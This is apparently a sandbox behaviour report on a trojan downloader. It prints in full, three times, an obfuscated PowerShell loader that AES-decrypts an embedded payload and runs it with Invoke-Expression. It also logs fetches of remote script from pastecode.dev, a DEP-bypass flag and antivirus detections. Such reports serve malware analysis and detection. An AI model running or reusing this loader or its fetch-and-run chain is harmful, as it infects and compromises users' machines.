stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02213000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02214000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02215000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02216000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02217000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02218000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02219000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a71000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a72000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a73000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a74000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a75000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a76000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a77000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a78000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a79000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a7a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a7b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a7c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a7d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a7e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a7f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a81000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a82000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a83000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a84000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI09972690008023797368066377468917CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIV8j9BK9bfs/lZP5zFepyR9aRZf8BDzdLeJ1Wr3rZYBw6jT7kuTdwSitjBTH6Sqx88yVFht6lnslkubPCFwxqncRlDrOw9owyJA1zM90PpRr0FaiG+XBe+UtMNx0zzpBZSa7qy/b9pIjbcvkqnwOM6Be0WWFDxVUlj0TDp91XwH/c6ciz+iu6mES3yq5+wAOV+zPJuNp5hqnddk0tEqxo/qMCo+cG/l6r3ezM1s2QQFmQ8AFnu00n4jTFSMCxwGmJXOuAFt0wBq5jfwNhiaVTTCeBRL+vRhYBKAGD/u1Dvw+qPTtj9QM1HRT6VDvUjK3PzbH+R2AR4nOSq9v5lFSm/4FB/+TP5hP/0G/K30EABLByahNrwdJ16uU9iuUdUxN+NdEE/cElVfqnk/AVYq5zOi8KMYjn+cBM7t37nFOU+0R7dqQpX1bw4M9xtDwytc8lEk+oLySfh6DkQx9ZP51+DlSOxtzP8BlibGMotYNxGINUMoFBpW0X5W8pofLjTrSt7qBAj097EKphKYe3dnFx994W4acnmzPqqTr9PR82rWmLbfQf2jbKptR1IhGuTYv9zQSE15Vrf85rElqm4KW35kLioiJMv56w49TVJdaAGq/G+se+SBcPFtd0cm2wycIuQ4pVC4xxw+WdpJi1FZv87Rwrz7pU1f5LIlkQi0+6eoNG6yxyTKoTJaQAuX2geHwz+f9R6YUS2D7ybG0Vvw+ZFtSb2YV8cqEjPCNT4AdDGlZYcPsf6Hbm1EvW5r7k+0F/yDLB/y2wX4CLIycRbGPZgnjXi4jl/RK4SeIOxoVCs0mtuhlxR9NC8ercXMf5/Emw/QTDPPHm3uTaueMrnP01pI2r2Clos+w8/I3AEeg0Gz8iE1h5bY5D0OUVA7NaAIFwW45kfIOBkH0D6efJmwO0pY8b7loXQGCQrpaKFIWDUM4r97poqR4yhZYSxi7iwH+Vl/YNiqosLi5Z81MJ2NG+ei7HNxiblmO1AZ89LR/dD0RunVNNNhBOJ20glXfhQablo+F3yp9MnWBGU16Whu0b6YAdUDUvUVnxmuvpy1sVCQUTPsID8xFq1R/xK5GuhKddgv7GGw5SyZsSIDp0vbCvsX5oX3OIOydStyJIHumBn7h4OZdqvwvPZBapFBOGY9z0eeM3eCmqn0yk6DyJu0+gi5P+zDlz8SpCj+SNGMTJz0l905+iyHMyMWnkggQmgVzyg1Q6TkjS0ZXZx393y9B2605wrJHM48GqCWK4XqzWw45YDLcHSdqf+UBwT7GfcFNHv00ImuK+RnIuKMlHCWkV2tSGFh0wWgQywUjcsnZ34gpxsLS1SAxWC6/IFwxYsJk/GBcEMH0rTPbUNm2J+jFt11Avnq+K7RF/SwZLc/leZ1akr2gXbw4IRwvGO7CMtEpzUm1Zdy4mb/6VvbqVTq44zZ26ZyUo6gblDsc0klLgF3zsOD6WSrKV3lnuwKRjndiyyki5Sg9zHqW6vFA3JeHtj8BLeOGKSkbOBxHZWnQ2oJ7RUYNjiEkGbh65ZTwaEvs4uRuedzxH0kPVOV507iFyClriTFrO1uoxRQsT09iGQiOoy+LVcGHswQA6jQ8EsbetUL9hQJXOrgFLBuWvyk/YWmUK/7aoFOtJ/sOFbmU430Td/Q/lIkds2Pa2fDor+IhZkK+vDjiTT88AV/YFn+sJUrtD/3/4UtT1FQqoB4YhPhlNOQO3j4jovLs0f4eqLACrrvVjz0E1KJe1UFyBf3QvCf0ym/956bEdz78V4FOo6XRV9Zd3o7x1Cb8dTqahS3VCCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
cmdline powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI09972690008023797368066377468917CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIV8j9BK9bfs/lZP5zFepyR9aRZf8BDzdLeJ1Wr3rZYBw6jT7kuTdwSitjBTH6Sqx88yVFht6lnslkubPCFwxqncRlDrOw9owyJA1zM90PpRr0FaiG+XBe+UtMNx0zzpBZSa7qy/b9pIjbcvkqnwOM6Be0WWFDxVUlj0TDp91XwH/c6ciz+iu6mES3yq5+wAOV+zPJuNp5hqnddk0tEqxo/qMCo+cG/l6r3ezM1s2QQFmQ8AFnu00n4jTFSMCxwGmJXOuAFt0wBq5jfwNhiaVTTCeBRL+vRhYBKAGD/u1Dvw+qPTtj9QM1HRT6VDvUjK3PzbH+R2AR4nOSq9v5lFSm/4FB/+TP5hP/0G/K30EABLByahNrwdJ16uU9iuUdUxN+NdEE/cElVfqnk/AVYq5zOi8KMYjn+cBM7t37nFOU+0R7dqQpX1bw4M9xtDwytc8lEk+oLySfh6DkQx9ZP51+DlSOxtzP8BlibGMotYNxGINUMoFBpW0X5W8pofLjTrSt7qBAj097EKphKYe3dnFx994W4acnmzPqqTr9PR82rWmLbfQf2jbKptR1IhGuTYv9zQSE15Vrf85rElqm4KW35kLioiJMv56w49TVJdaAGq/G+se+SBcPFtd0cm2wycIuQ4pVC4xxw+WdpJi1FZv87Rwrz7pU1f5LIlkQi0+6eoNG6yxyTKoTJaQAuX2geHwz+f9R6YUS2D7ybG0Vvw+ZFtSb2YV8cqEjPCNT4AdDGlZYcPsf6Hbm1EvW5r7k+0F/yDLB/y2wX4CLIycRbGPZgnjXi4jl/RK4SeIOxoVCs0mtuhlxR9NC8ercXMf5/Emw/QTDPPHm3uTaueMrnP01pI2r2Clos+w8/I3AEeg0Gz8iE1h5bY5D0OUVA7NaAIFwW45kfIOBkH0D6efJmwO0pY8b7loXQGCQrpaKFIWDUM4r97poqR4yhZYSxi7iwH+Vl/YNiqosLi5Z81MJ2NG+ei7HNxiblmO1AZ89LR/dD0RunVNNNhBOJ20glXfhQablo+F3yp9MnWBGU16Whu0b6YAdUDUvUVnxmuvpy1sVCQUTPsID8xFq1R/xK5GuhKddgv7GGw5SyZsSIDp0vbCvsX5oX3OIOydStyJIHumBn7h4OZdqvwvPZBapFBOGY9z0eeM3eCmqn0yk6DyJu0+gi5P+zDlz8SpCj+SNGMTJz0l905+iyHMyMWnkggQmgVzyg1Q6TkjS0ZXZx393y9B2605wrJHM48GqCWK4XqzWw45YDLcHSdqf+UBwT7GfcFNHv00ImuK+RnIuKMlHCWkV2tSGFh0wWgQywUjcsnZ34gpxsLS1SAxWC6/IFwxYsJk/GBcEMH0rTPbUNm2J+jFt11Avnq+K7RF/SwZLc/leZ1akr2gXbw4IRwvGO7CMtEpzUm1Zdy4mb/6VvbqVTq44zZ26ZyUo6gblDsc0klLgF3zsOD6WSrKV3lnuwKRjndiyyki5Sg9zHqW6vFA3JeHtj8BLeOGKSkbOBxHZWnQ2oJ7RUYNjiEkGbh65ZTwaEvs4uRuedzxH0kPVOV507iFyClriTFrO1uoxRQsT09iGQiOoy+LVcGHswQA6jQ8EsbetUL9hQJXOrgFLBuWvyk/YWmUK/7aoFOtJ/sOFbmU430Td/Q/lIkds2Pa2fDor+IhZkK+vDjiTT88AV/YFn+sJUrtD/3/4UtT1FQqoB4YhPhlNOQO3j4jovLs0f4eqLACrrvVjz0E1KJe1UFyBf3QvCf0ym/956bEdz78V4FOo6XRV9Zd3o7x1Cb8dTqahS3VCCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI09972690008023797368066377468917CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIV8j9BK9bfs/lZP5zFepyR9aRZf8BDzdLeJ1Wr3rZYBw6jT7kuTdwSitjBTH6Sqx88yVFht6lnslkubPCFwxqncRlDrOw9owyJA1zM90PpRr0FaiG+XBe+UtMNx0zzpBZSa7qy/b9pIjbcvkqnwOM6Be0WWFDxVUlj0TDp91XwH/c6ciz+iu6mES3yq5+wAOV+zPJuNp5hqnddk0tEqxo/qMCo+cG/l6r3ezM1s2QQFmQ8AFnu00n4jTFSMCxwGmJXOuAFt0wBq5jfwNhiaVTTCeBRL+vRhYBKAGD/u1Dvw+qPTtj9QM1HRT6VDvUjK3PzbH+R2AR4nOSq9v5lFSm/4FB/+TP5hP/0G/K30EABLByahNrwdJ16uU9iuUdUxN+NdEE/cElVfqnk/AVYq5zOi8KMYjn+cBM7t37nFOU+0R7dqQpX1bw4M9xtDwytc8lEk+oLySfh6DkQx9ZP51+DlSOxtzP8BlibGMotYNxGINUMoFBpW0X5W8pofLjTrSt7qBAj097EKphKYe3dnFx994W4acnmzPqqTr9PR82rWmLbfQf2jbKptR1IhGuTYv9zQSE15Vrf85rElqm4KW35kLioiJMv56w49TVJdaAGq/G+se+SBcPFtd0cm2wycIuQ4pVC4xxw+WdpJi1FZv87Rwrz7pU1f5LIlkQi0+6eoNG6yxyTKoTJaQAuX2geHwz+f9R6YUS2D7ybG0Vvw+ZFtSb2YV8cqEjPCNT4AdDGlZYcPsf6Hbm1EvW5r7k+0F/yDLB/y2wX4CLIycRbGPZgnjXi4jl/RK4SeIOxoVCs0mtuhlxR9NC8ercXMf5/Emw/QTDPPHm3uTaueMrnP01pI2r2Clos+w8/I3AEeg0Gz8iE1h5bY5D0OUVA7NaAIFwW45kfIOBkH0D6efJmwO0pY8b7loXQGCQrpaKFIWDUM4r97poqR4yhZYSxi7iwH+Vl/YNiqosLi5Z81MJ2NG+ei7HNxiblmO1AZ89LR/dD0RunVNNNhBOJ20glXfhQablo+F3yp9MnWBGU16Whu0b6YAdUDUvUVnxmuvpy1sVCQUTPsID8xFq1R/xK5GuhKddgv7GGw5SyZsSIDp0vbCvsX5oX3OIOydStyJIHumBn7h4OZdqvwvPZBapFBOGY9z0eeM3eCmqn0yk6DyJu0+gi5P+zDlz8SpCj+SNGMTJz0l905+iyHMyMWnkggQmgVzyg1Q6TkjS0ZXZx393y9B2605wrJHM48GqCWK4XqzWw45YDLcHSdqf+UBwT7GfcFNHv00ImuK+RnIuKMlHCWkV2tSGFh0wWgQywUjcsnZ34gpxsLS1SAxWC6/IFwxYsJk/GBcEMH0rTPbUNm2J+jFt11Avnq+K7RF/SwZLc/leZ1akr2gXbw4IRwvGO7CMtEpzUm1Zdy4mb/6VvbqVTq44zZ26ZyUo6gblDsc0klLgF3zsOD6WSrKV3lnuwKRjndiyyki5Sg9zHqW6vFA3JeHtj8BLeOGKSkbOBxHZWnQ2oJ7RUYNjiEkGbh65ZTwaEvs4uRuedzxH0kPVOV507iFyClriTFrO1uoxRQsT09iGQiOoy+LVcGHswQA6jQ8EsbetUL9hQJXOrgFLBuWvyk/YWmUK/7aoFOtJ/sOFbmU430Td/Q/lIkds2Pa2fDor+IhZkK+vDjiTT88AV/YFn+sJUrtD/3/4UtT1FQqoB4YhPhlNOQO3j4jovLs0f4eqLACrrvVjz0E1KJe1UFyBf3QvCf0ym/956bEdz78V4FOo6XRV9Zd3o7x1Cb8dTqahS3VCCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
filepath: powershell.exe
1 1 0
Symantec ISB.Downloader!gen40
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
ZoneAlarm HEUR:Trojan.Script.Generic
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F
Data sent zvf™âߐ_Ú»§™f™ò¯O¢²Ì%S§JüŸSªÚ/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvf™âߏ¸¤ È ÿ;øZ,‰QX9*&Ár÷zwØ'Ыy/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvf™âà#ÚôÀã lNÀ#€!,òûéLðPÉÀ¹/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvf™âà{u_ÜöáHiµü hI\˜Ê»2üÙ¹L‡YòÙ/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

send

 buffer: plf™âÛÄҚo®ÛP õƘxs0o ^æƒA_e¤‚/5 ÀÀÀ À 28+ÿ pastecode.dev  
socket: 1028
sent: 117
1 117 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

send

 buffer: FBA¤ 3AA *®ïlEpR¦•ØI •1òƬçòùðâQ>~_›—'ÍïXõŠ ç°§üOwɮܛûø¢§û£0X›Ì1Ÿyf‚8Ëè˪tÐ"ø5'áƶø¢œ¾söÇÆ_Ì+fÔu¡Sy±U!ßÌ
socket: 1028
sent: 134
1 134 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

send

